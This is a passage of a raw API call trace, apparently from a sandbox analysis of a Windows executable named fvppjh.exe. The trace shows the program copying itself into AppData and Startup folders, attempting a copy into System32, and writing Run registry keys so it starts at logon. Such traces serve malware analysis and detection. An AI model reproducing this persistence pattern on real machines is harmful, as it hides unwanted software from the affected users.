	[0151.029] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5b6650 | out: hHeap=0x5a0000) returned 1
	[0151.034] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5b6470 | out: hHeap=0x5a0000) returned 1
	[0151.034] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5b5520 | out: hHeap=0x5a0000) returned 1
	[0151.034] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5e3228 | out: hHeap=0x5a0000) returned 1
	[0151.034] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5b64b0 | out: hHeap=0x5a0000) returned 1
	[0151.034] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5b64d0 | out: hHeap=0x5a0000) returned 1
	[0151.034] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5dd9a8 | out: hHeap=0x5a0000) returned 1
	[0151.034] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5ddd18 | out: hHeap=0x5a0000) returned 1
	[0151.034] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5b6750 | out: hHeap=0x5a0000) returned 1
	[0151.034] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5dd8b8 | out: hHeap=0x5a0000) returned 1
	[0151.034] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x5e6f98
	[0151.035] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x5f6fa0
	[0151.035] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x5e31f8
	[0151.035] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5e31f8, Size=0x20) returned 0x5dd930
	[0151.035] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5dd930, Size=0x40) returned 0x5b7430
	[0151.035] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x5e3390
	[0151.035] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5e3390, Size=0x20) returned 0x5ddbd8
	[0151.035] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x5e31b0
	[0151.035] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5e31b0, Size=0x20) returned 0x5ddb60
	[0151.035] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x5e3270
	[0151.035] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5e3270, Size=0x20) returned 0x5ddcf0
	[0151.035] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5ddcf0, Size=0x40) returned 0x5b7820
	[0151.035] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x5f6fa0, nSize=0x7fff | out: lpFilename="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\fvppjh.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\fvppjh.exe")) returned 0x47
	[0151.035] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x606fa8
	[0151.036] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x616fb0
	[0151.036] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x5e3360
	[0151.036] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5e3360, Size=0x20) returned 0x5ddb88
	[0151.036] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5ddb88, Size=0x40) returned 0x5b7700
	[0151.036] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5b7700, Size=0x80) returned 0x5e39c8
	[0151.036] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5e39c8, Size=0x100) returned 0x5e39c8
	[0151.036] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69
	[0151.036] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5e39c8 | out: hHeap=0x5a0000) returned 1
	[0151.036] ExpandEnvironmentStringsW (in: lpSrc="%windir%\\System32\\fvppjh.exe", lpDst=0x606fa8, nSize=0x7fff | out: lpDst="C:\\WINDOWS\\System32\\fvppjh.exe") returned 0x1f
	[0151.036] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x616fb0 | out: hHeap=0x5a0000) returned 1
	[0151.037] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x606fa8 | out: hHeap=0x5a0000) returned 1
	[0151.037] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x100000) returned 0x241f020
	[0151.040] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x5e3228
	[0151.040] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5e3228, Size=0x20) returned 0x5ddcf0
	[0151.040] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x5e3408
	[0151.040] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5e3408, Size=0x20) returned 0x5dd9d0
	[0151.040] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77950000
	[0151.040] GetProcAddress (hModule=0x77950000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x77966b30
	[0151.040] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x0) returned 1
	[0151.040] lstrlenW (lpString="kernel32.dll") returned 12
	[0151.040] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5ddcf0 | out: hHeap=0x5a0000) returned 1
	[0151.040] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0151.040] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5dd9d0 | out: hHeap=0x5a0000) returned 1
	[0151.040] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\fvppjh.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\fvppjh.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240
	[0151.040] CreateFileW (lpFileName="C:\\WINDOWS\\System32\\fvppjh.exe" (normalized: "c:\\windows\\system32\\fvppjh.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0151.042] CloseHandle (hObject=0x240) returned 1
	[0151.042] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x5e3300
	[0151.042] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5e3300, Size=0x20) returned 0x5ddac0
	[0151.042] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x5e3120
	[0151.042] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5e3120, Size=0x20) returned 0x5dda70
	[0151.042] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77950000
	[0151.042] GetProcAddress (hModule=0x77950000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x77966b30
	[0151.042] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1
	[0151.042] lstrlenW (lpString="kernel32.dll") returned 12
	[0151.042] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5dda70 | out: hHeap=0x5a0000) returned 1
	[0151.042] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0151.042] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5ddac0 | out: hHeap=0x5a0000) returned 1
	[0151.042] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x241f020 | out: hHeap=0x5a0000) returned 1
	[0151.044] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x606fa8
	[0151.045] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x616fb0
	[0151.045] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x5e3120
	[0151.045] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5e3120, Size=0x20) returned 0x5dda70
	[0151.045] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5dda70, Size=0x40) returned 0x5b78f8
	[0151.045] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5b78f8, Size=0x80) returned 0x5e39c8
	[0151.045] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5e39c8, Size=0x100) returned 0x5e39c8
	[0151.045] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69
	[0151.045] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5e39c8 | out: hHeap=0x5a0000) returned 1
	[0151.045] ExpandEnvironmentStringsW (in: lpSrc="%appdata%\\fvppjh.exe", lpDst=0x606fa8, nSize=0x7fff | out: lpDst="C:\\Users\\FD1HVy\\AppData\\Roaming\\fvppjh.exe") returned 0x2b
	[0151.045] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x616fb0 | out: hHeap=0x5a0000) returned 1
	[0151.046] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x606fa8 | out: hHeap=0x5a0000) returned 1
	[0151.046] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x100000) returned 0x241a020
	[0151.049] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x5e31b0
	[0151.049] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5e31b0, Size=0x20) returned 0x5dda70
	[0151.049] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x5e3180
	[0151.049] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5e3180, Size=0x20) returned 0x5ddac0
	[0151.049] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77950000
	[0151.049] GetProcAddress (hModule=0x77950000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x77966b30
	[0151.049] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1
	[0151.049] lstrlenW (lpString="kernel32.dll") returned 12
	[0151.049] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5dda70 | out: hHeap=0x5a0000) returned 1
	[0151.049] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0151.049] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5ddac0 | out: hHeap=0x5a0000) returned 1
	[0151.049] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\fvppjh.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\fvppjh.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240
	[0151.049] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\fvppjh.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\fvppjh.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244
	[0151.051] ReadFile (in: hFile=0x240, lpBuffer=0x241a020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x241a020*, lpNumberOfBytesRead=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1
	[0151.064] WriteFile (in: hFile=0x244, lpBuffer=0x241a020*, nNumberOfBytesToWrite=0x17200, lpNumberOfBytesWritten=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x241a020*, lpNumberOfBytesWritten=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1
	[0151.066] ReadFile (in: hFile=0x240, lpBuffer=0x241a020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x241a020*, lpNumberOfBytesRead=0x19fd90*=0x0, lpOverlapped=0x0) returned 1
	[0151.066] CloseHandle (hObject=0x244) returned 1
	[0151.067] CloseHandle (hObject=0x240) returned 1
	[0151.067] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x5e31b0
	[0151.067] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5e31b0, Size=0x20) returned 0x5dd930
	[0151.067] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x5e3390
	[0151.067] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5e3390, Size=0x20) returned 0x5dd9a8
	[0151.067] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77950000
	[0151.067] GetProcAddress (hModule=0x77950000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x77966b30
	[0151.067] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1
	[0151.067] lstrlenW (lpString="kernel32.dll") returned 12
	[0151.067] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5dd9a8 | out: hHeap=0x5a0000) returned 1
	[0151.067] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0151.067] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5dd930 | out: hHeap=0x5a0000) returned 1
	[0151.067] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x241a020 | out: hHeap=0x5a0000) returned 1
	[0151.072] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x5e33c0
	[0151.072] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5e33c0, Size=0x20) returned 0x5ddcf0
	[0151.072] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5ddcf0, Size=0x40) returned 0x5b78f8
	[0151.072] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5b78f8, Size=0x80) returned 0x5e39c8
	[0151.072] lstrlenW (lpString="C:\\Users\\FD1HVy\\AppData\\Roaming\\fvppjh.exe") returned 42
	[0151.072] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45
	[0151.072] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x5c) returned 0x5e3078
	[0151.072] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x20106, phkResult=0x19fd64 | out: phkResult=0x19fd64*=0x240) returned 0x0
	[0151.072] RegSetValueExW (hKey=0x240, lpValueName="fvppjh.exe", Reserved=0x0, dwType=0x1, lpData=0x5e6f98, cbData=0x54) returned 0x5
	[0151.072] RegCloseKey (hKey=0x240) returned 0x0
	[0151.072] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5e3078 | out: hHeap=0x5a0000) returned 1
	[0151.072] lstrlenW (lpString="C:\\Users\\FD1HVy\\AppData\\Roaming\\fvppjh.exe") returned 42
	[0151.073] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45
	[0151.073] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x5c) returned 0x5e3078
	[0151.073] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x20106, phkResult=0x19fd64 | out: phkResult=0x19fd64*=0x244) returned 0x0
	[0151.074] RegSetValueExW (in: hKey=0x244, lpValueName="fvppjh.exe", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\fvppjh.exe", cbData=0x54 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\fvppjh.exe") returned 0x0
	[0151.074] RegCloseKey (hKey=0x244) returned 0x0
	[0151.074] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5e3078 | out: hHeap=0x5a0000) returned 1
	[0151.074] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45
	[0151.074] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5e39c8 | out: hHeap=0x5a0000) returned 1
	[0151.074] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x606fa8
	[0151.074] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x616fb0
	[0151.074] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x5e3168
	[0151.074] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5e3168, Size=0x20) returned 0x5ddd40
	[0151.074] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5ddd40, Size=0x40) returned 0x5b7aa8
	[0151.074] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5b7aa8, Size=0x80) returned 0x5e39c8
	[0151.075] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5e39c8, Size=0x100) returned 0x5e39c8
	[0151.075] lstrlenW (lpString="") returned 0
	[0151.075] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69
	[0151.075] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x8c) returned 0x5e3ad0
	[0151.075] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x19fd10 | out: phkResult=0x19fd10*=0x244) returned 0x0
	[0151.075] RegQueryValueExW (in: hKey=0x244, lpValueName="Startup", lpReserved=0x0, lpType=0x19fd1c, lpData=0x616fb0, lpcbData=0x19fd48*=0x7fff | out: lpType=0x19fd1c*=0x0, lpData=0x616fb0*=0x53, lpcbData=0x19fd48*=0x7fff) returned 0x2
	[0151.075] RegCloseKey (hKey=0x244) returned 0x0
	[0151.075] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5e3ad0 | out: hHeap=0x5a0000) returned 1
	[0151.075] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69
	[0151.075] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x8c) returned 0x5e3ad0
	[0151.075] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x19fd10 | out: phkResult=0x19fd10*=0x244) returned 0x0
	[0151.075] RegQueryValueExW (in: hKey=0x244, lpValueName="Startup", lpReserved=0x0, lpType=0x19fd1c, lpData=0x616fb0, lpcbData=0x19fd48*=0x7fff | out: lpType=0x19fd1c*=0x2, lpData="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x19fd48*=0x98) returned 0x0
	[0151.075] RegCloseKey (hKey=0x244) returned 0x0
	[0151.075] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5e3ad0 | out: hHeap=0x5a0000) returned 1
	[0151.075] lstrlenW (lpString="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 75
	[0151.075] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69
	[0151.075] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5e39c8 | out: hHeap=0x5a0000) returned 1
	[0151.075] ExpandEnvironmentStringsW (in: lpSrc="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\fvppjh.exe", lpDst=0x606fa8, nSize=0x7fff | out: lpDst="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\fvppjh.exe") returned 0x59
	[0151.075] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x616fb0 | out: hHeap=0x5a0000) returned 1
	[0151.077] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x606fa8 | out: hHeap=0x5a0000) returned 1
	[0151.078] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x100000) returned 0x2417020
	[0151.080] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x5e32a0
	[0151.080] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5e32a0, Size=0x20) returned 0x5dd8b8
	[0151.080] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x5e3390
	[0151.080] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5e3390, Size=0x20) returned 0x5ddbb0
	[0151.080] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77950000
	[0151.080] GetProcAddress (hModule=0x77950000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x77966b30
	[0151.080] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1
	[0151.080] lstrlenW (lpString="kernel32.dll") returned 12
	[0151.080] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5dd8b8 | out: hHeap=0x5a0000) returned 1
	[0151.080] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0151.080] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5ddbb0 | out: hHeap=0x5a0000) returned 1
	[0151.081] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\fvppjh.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\fvppjh.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244
	[0151.081] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\fvppjh.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\fvppjh.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x248
	[0151.090] ReadFile (in: hFile=0x244, lpBuffer=0x2417020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x2417020*, lpNumberOfBytesRead=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1
	[0151.102] WriteFile (in: hFile=0x248, lpBuffer=0x2417020*, nNumberOfBytesToWrite=0x17200, lpNumberOfBytesWritten=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x2417020*, lpNumberOfBytesWritten=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1
	[0151.104] ReadFile (in: hFile=0x244, lpBuffer=0x2417020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x2417020*, lpNumberOfBytesRead=0x19fd90*=0x0, lpOverlapped=0x0) returned 1
	[0151.104] CloseHandle (hObject=0x248) returned 1
	[0151.108] CloseHandle (hObject=0x244) returned 1
	[0151.108] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x5e3360
	[0151.108] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5e3360, Size=0x20) returned 0x5dd8b8
	[0151.108] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x5e31b0
	[0151.108] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5e31b0, Size=0x20) returned 0x5dd930
	[0151.108] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77950000
	[0151.108] GetProcAddress (hModule=0x77950000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x77966b30
	[0151.108] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1
	[0151.108] lstrlenW (lpString="kernel32.dll") returned 12
	[0151.108] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5dd930 | out: hHeap=0x5a0000) returned 1
	[0151.108] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0151.108] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5dd8b8 | out: hHeap=0x5a0000) returned 1
	[0151.108] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x2417020 | out: hHeap=0x5a0000) returned 1
	[0151.113] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x606fa8
	[0151.113] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x616fb0
	[0151.113] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x5e33a8
	[0151.113] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5e33a8, Size=0x20) returned 0x5dd9f8
	[0151.113] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5dd9f8, Size=0x40) returned 0x5b7358
	[0151.113] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5b7358, Size=0x80) returned 0x5e39c8
	[0151.114] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5e39c8, Size=0x100) returned 0x5e39c8
	[0151.114] lstrlenW (lpString="") returned 0
	[0151.114] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69
	[0151.114] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x8c) returned 0x5e3ad0
	[0151.114] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x19fd10 | out: phkResult=0x19fd10*=0x244) returned 0x0
	[0151.114] RegQueryValueExW (in: hKey=0x244, lpValueName="Common Startup", lpReserved=0x0, lpType=0x19fd1c, lpData=0x616fb0, lpcbData=0x19fd48*=0x7fff | out: lpType=0x19fd1c*=0x2, lpData="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x19fd48*=0x78) returned 0x0
	[0151.114] RegCloseKey (hKey=0x244) returned 0x0
	[0151.114] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5e3ad0 | out: hHeap=0x5a0000) returned 1
	[0151.114] lstrlenW (lpString="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 59
	[0151.114] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69
	[0151.114] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5e39c8 | out: hHeap=0x5a0000) returned 1
	[0151.114] ExpandEnvironmentStringsW (in: lpSrc="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\fvppjh.exe", lpDst=0x606fa8, nSize=0x7fff | out: lpDst="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\fvppjh.exe") returned 0x48
	[0151.114] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x616fb0 | out: hHeap=0x5a0000) returned 1
	[0151.114] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x606fa8 | out: hHeap=0x5a0000) returned 1
	[0151.115] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x100000) returned 0x241d020
	[0151.118] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x5e3228
	[0151.118] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5e3228, Size=0x20) returned 0x5ddc00
	[0151.118] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x5e3360
	[0151.118] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5e3360, Size=0x20) returned 0x5dd8b8
	[0151.118] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77950000
